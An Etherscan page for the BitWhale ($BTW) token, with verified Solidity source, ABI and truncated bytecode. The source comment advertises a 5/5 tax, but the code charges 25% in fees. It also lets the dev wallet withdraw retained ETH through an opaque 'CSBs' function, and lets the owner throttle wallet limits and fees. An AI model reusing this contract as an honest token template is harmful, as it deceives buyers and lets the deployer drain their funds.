ETH Price: $3,420.86 (-6.33%)

Token

BitWhale ($BTW)
 

Overview

Max Total Supply

10,000,000 $BTW

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
58,879.15778067 $BTW

Value
$0.00
0x4d6b46622e8c9dF567fA397017179bbbCC917540
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BTW

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-17
*/

// SPDX-License-Identifier: MIT

/**
$BTW |BitWhale
Buy/sell tax : 5/5
Telegram : https://t.me/BitwhaleERC
Twitter : 
Website : https://bitwhale.tech/

*/

pragma solidity ^0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract BTW is ERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "BitWhale";
    string private _symbol = "$BTW";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 10000000 * 10**_decimals;
    uint256 public _maxWalletToken = _totalSupply * 100 / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isWalletLimitExempt;

    uint256 public liquidityFee    = 5;
    uint256 public devFee    = 10;
    uint256 public marketingFee    = 10;
    uint256 public totalFee        = marketingFee + devFee + liquidityFee;
    uint256 public feeDenominator  = 100;

    address public marketingFeeReceiver;
    address public devFeeReceiver;

    IUniswapV2Router02 public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable() {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(0xdead)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[pair] = true;

        devFeeReceiver = msg.sender;
        marketingFeeReceiver = 0xFD861Df001836019165bbC1cB6Bc6D7EaabF7e18;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function isContract(address addr) public view returns (bool) {
       uint size;
       assembly  { size := extcodesize(addr) }
       return size > 0;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        // Checks max transaction limit
        uint256 heldTokens = balanceOf(recipient);
        require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
        //shouldSwapBack
        if(shouldSwapBack() && recipient == pair){swapBack();}
        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender,amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function setSwapPair(address pairaddr) external onlyOwner {
        pair = pairaddr;
        isWalletLimitExempt[pair] = true;
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
    }

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _devFee,uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        devFee = _devFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_marketingFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _marketingFeeReceiver ) external onlyOwner {
        marketingFeeReceiver = _marketingFeeReceiver;
    }
    
    function setIsFeeExempt(address holder, bool exempt)   external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function CSBs(uint256 amountPercentage) public{
        require(devFeeReceiver == msg.sender , "!Funder");
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

    function swapBack() internal swapping {
        uint256 _swapThreshold = _balances[address(this)];
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        uint256 amountBeforeETH = address(this).balance;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(amountBeforeETH);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        amountETH = amountETH.sub(amountETHLiquidity).mul(4).div(5);
        uint256 amountETHDev = amountETH.div(2);
        uint256 amountETHMarketing = amountETH.sub(amountETHDev);

        if(amountETHDev>0){
            bool tmpSuccess;
            (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
        }

        if(amountETHMarketing>0){
            bool tmpSuccess;
            (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        }

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingFeeReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"CSBs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWalletPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260086080908152674269745768616c6560c01b60a052600190620000299082620004b2565b506040805180820190915260048152632442545760e01b6020820152600290620000549082620004b2565b50620000636009600a62000693565b620000729062989680620006ab565b60035560646003546064620000889190620006ab565b620000949190620006c5565b60045560056009819055600a808055600b819055620000b49080620006e8565b620000c09190620006e8565b600c556064600d556011805460ff60a01b1916600160a01b1790556003546103e890620000ef906001620006ab565b620000fb9190620006c5565b6012553480156200010b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d89190620006fe565b6001600160a01b031663c9c65396601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002609190620006fe565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d39190620006fe565b601180546001600160a01b039283166001600160a01b031991821617825530600081815260066020908152604080832060105488168452825280832060001990553380845260078352818420805460ff19908116600190811790925586865283862080548216831790558286526008855283862080548216831790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548216831790559585528285208054871682179055965490971683528083208054909416909517909255600f8054841686179055600e805490931673fd861df001836019165bbc1cb6bc6d7eaabf7e181790925560035484835260058252838320819055925192835290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000729565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200043857607f821691505b6020821081036200045957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004ad57600081815260208120601f850160051c81016020861015620004885750805b601f850160051c820191505b81811015620004a95782815560010162000494565b5050505b505050565b81516001600160401b03811115620004ce57620004ce6200040d565b620004e681620004df845462000423565b846200045f565b602080601f8311600181146200051e5760008415620005055750858301515b600019600386901b1c1916600185901b178555620004a9565b600085815260208120601f198616915b828110156200054f578886015182559484019460019091019084016200052e565b50858210156200056e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005d5578160001904821115620005b957620005b96200057e565b80851615620005c757918102915b93841c939080029062000599565b509250929050565b600082620005ee575060016200068d565b81620005fd575060006200068d565b8160018114620006165760028114620006215762000641565b60019150506200068d565b60ff8411156200063557620006356200057e565b50506001821b6200068d565b5060208310610133831016604e8410600b841016171562000666575081810a6200068d565b62000672838362000594565b80600019048211156200068957620006896200057e565b0290505b92915050565b6000620006a460ff841683620005dd565b9392505050565b80820281158282048414176200068d576200068d6200057e565b600082620006e357634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200068d576200068d6200057e565b6000602082840312156200071157600080fd5b81516001600160a01b0381168114620006a457600080fd5b6119c180620007396000396000f3fe6080604052600436106102135760003560e01c806370a0823111610118578063b2896bae116100a0578063df20fd491161006f578063df20fd491461062b578063e01bb6881461064b578063e96fada21461066b578063f2fde38b1461068b578063f887ea40146106ab57600080fd5b8063b2896bae14610575578063c867d60b14610595578063dab84ee7146105c5578063dd62ed3e146105e557600080fd5b80638da5cb5b116100e75780638da5cb5b146104d857806395d89b411461050a57806398118cb41461051f578063a8aa1b3114610535578063a9059cbb1461055557600080fd5b806370a0823114610457578063715018a61461048d57806373a432bb146104a257806378109e54146104c257600080fd5b806323b872dd1161019b578063658d4b7f1161016a578063658d4b7f146103ca5780636827e764146103ea5780636b67c4df146104005780636ddd1713146104165780636fcba3771461043757600080fd5b806323b872dd1461033e578063313ce5671461035e5780633f4218e01461037a578063571ac8b0146103aa57600080fd5b806316279055116101e257806316279055146102bc578063180b0d7e146102dd57806318160ddd146102f35780631df4ccfc146103085780632198cf6c1461031e57600080fd5b8063012aa9121461021f5780630445b6671461024157806306fdde031461026a578063095ea7b31461028c57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023f61023a366004611610565b6106cb565b005b34801561024d57600080fd5b5061025760125481565b6040519081526020015b60405180910390f35b34801561027657600080fd5b5061027f61071f565b6040516102619190611629565b34801561029857600080fd5b506102ac6102a736600461168f565b6107b1565b6040519015158152602001610261565b3480156102c857600080fd5b506102ac6102d73660046116bb565b3b151590565b3480156102e957600080fd5b50610257600d5481565b3480156102ff57600080fd5b50600354610257565b34801561031457600080fd5b50610257600c5481565b34801561032a57600080fd5b5061023f6103393660046116ed565b61081e565b34801561034a57600080fd5b506102ac610359366004611722565b610873565b34801561036a57600080fd5b5060405160098152602001610261565b34801561038657600080fd5b506102ac6103953660046116bb565b60076020526000908152604090205460ff1681565b3480156103b657600080fd5b506102ac6103c53660046116bb565b610933565b3480156103d657600080fd5b5061023f6103e53660046116ed565b610941565b3480156103f657600080fd5b50610257600a5481565b34801561040c57600080fd5b50610257600b5481565b34801561042257600080fd5b506011546102ac90600160a01b900460ff1681565b34801561044357600080fd5b5061023f610452366004611763565b610996565b34801561046357600080fd5b506102576104723660046116bb565b6001600160a01b031660009081526005602052604090205490565b34801561049957600080fd5b5061023f610a42565b3480156104ae57600080fd5b5061023f6104bd3660046116bb565b610ab6565b3480156104ce57600080fd5b5061025760045481565b3480156104e457600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610261565b34801561051657600080fd5b5061027f610b1a565b34801561052b57600080fd5b5061025760095481565b34801561054157600080fd5b506011546104f2906001600160a01b031681565b34801561056157600080fd5b506102ac61057036600461168f565b610b29565b34801561058157600080fd5b5061023f610590366004611610565b610b3d565b3480156105a157600080fd5b506102ac6105b03660046116bb565b60086020526000908152604090205460ff1681565b3480156105d157600080fd5b50600f546104f2906001600160a01b031681565b3480156105f157600080fd5b50610257610600366004611795565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561063757600080fd5b5061023f6106463660046117ce565b610bc9565b34801561065757600080fd5b5061023f6106663660046116bb565b610c15565b34801561067757600080fd5b50600e546104f2906001600160a01b031681565b34801561069757600080fd5b5061023f6106a63660046116bb565b610c61565b3480156106b757600080fd5b506010546104f2906001600160a01b031681565b6000546001600160a01b031633146106fe5760405162461bcd60e51b81526004016106f5906117ea565b60405180910390fd5b6127108160035461070f9190611820565b6107199190611837565b60045550565b60606001805461072e90611859565b80601f016020809104026020016040519081016040528092919081815260200182805461075a90611859565b80156107a75780601f1061077c576101008083540402835291602001916107a7565b820191906000526020600020905b81548152906001019060200180831161078a57829003601f168201915b5050505050905090565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061080c9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108485760405162461bcd60e51b81526004016106f5906117ea565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001914610920576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526006825283812033825290915291909120546108fb918490610d27565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b61092b848484610d61565b949350505050565b6000610818826000196107b1565b6000546001600160a01b0316331461096b5760405162461bcd60e51b81526004016106f5906117ea565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016106f5906117ea565b6009849055600a829055600b8390556109d98484610f66565b600c55600d8190556109ec600382611837565b600c5410610a3c5760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e203333250000000060448201526064016106f5565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016106f5906117ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ae05760405162461bcd60e51b81526004016106f5906117ea565b601180546001600160a01b039092166001600160a01b0319909216821790556000908152600860205260409020805460ff19166001179055565b60606002805461072e90611859565b6000610b36338484610d61565b9392505050565b600f546001600160a01b03163314610b815760405162461bcd60e51b815260206004820152600760248201526610a33ab73232b960c91b60448201526064016106f5565b47336108fc6064610b928585611820565b610b9c9190611837565b6040518115909202916000818181858888f19350505050158015610bc4573d6000803e3d6000fd5b505050565b6000546001600160a01b03163314610bf35760405162461bcd60e51b81526004016106f5906117ea565b60118054921515600160a01b0260ff60a01b1990931692909217909155601255565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b81526004016106f5906117ea565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b81526004016106f5906117ea565b6001600160a01b038116610ccc5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106f5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610d4b5760405162461bcd60e51b81526004016106f59190611629565b506000610d588486611893565b95945050505050565b6001600160a01b038216600090815260056020526040812054600454610d8784836118a6565b111580610dac57506001600160a01b03841660009081526008602052604090205460ff165b610e1e5760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e000060648201526084016106f5565b610e26610fc5565b8015610e3f57506011546001600160a01b038581169116145b15610e4c57610e4c61101d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260059091529190912054610e9e918590610d27565b6001600160a01b038616600090815260056020526040812091909155610ec486866113f8565b610ece5783610ed8565b610ed8868561143e565b6001600160a01b038616600090815260056020526040902054909150610efe9082610f66565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f529085815260200190565b60405180910390a350600195945050505050565b600080610f7383856118a6565b905083811015610b365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106f5565b6011546000906001600160a01b03163314801590610fe6575060135460ff16155b8015610ffb5750601154600160a01b900460ff165b801561101857506012543060009081526005602052604090205410155b905090565b6013805460ff1916600117905530600090815260056020526040812054600c5460095491929161105e916002916110589190829087906114dc565b9061155e565b9050600061106c83836115a0565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106110a6576110a66118b9565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112391906118cf565b81600181518110611136576111366118b9565b6001600160a01b03928316602091820292909201015260105460405163791ac94760e01b815291169063791ac9479061117c9086906000908690309042906004016118ec565b600060405180830381600087803b15801561119657600080fd5b505af11580156111aa573d6000803e3d6000fd5b5050505060006111c383476115a090919063ffffffff16565b905060006111e96111e0600260095461155e90919063ffffffff16565b600c54906115a0565b9050600061120b600261105884611058600954886114dc90919063ffffffff16565b90506112276005611058600461122187866115a0565b906114dc565b9250600061123684600261155e565b9050600061124485836115a0565b905081156112a857600f546040516000916001600160a01b03169061753090859084818181858888f193505050503d806000811461129e576040519150601f19603f3d011682016040523d82523d6000602084013e6112a3565b606091505b505050505b801561130a57600e546040516000916001600160a01b03169061753090849084818181858888f193505050503d8060008114611300576040519150601f19603f3d011682016040523d82523d6000602084013e611305565b606091505b505050505b88156113e257601054600e5460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015611380573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113a5919061195d565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506013805460ff191690555050505050505050565b6001600160a01b03821660009081526007602052604081205460ff16158015610b365750506001600160a01b031660009081526007602052604090205460ff1615919050565b60008061145c600d54611058600c54866114dc90919063ffffffff16565b306000908152600560205260409020549091506114799082610f66565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114ca9085815260200190565b60405180910390a361092b83826115a0565b6000826000036114ee57506000610818565b60006114fa8385611820565b9050826115078583611837565b1461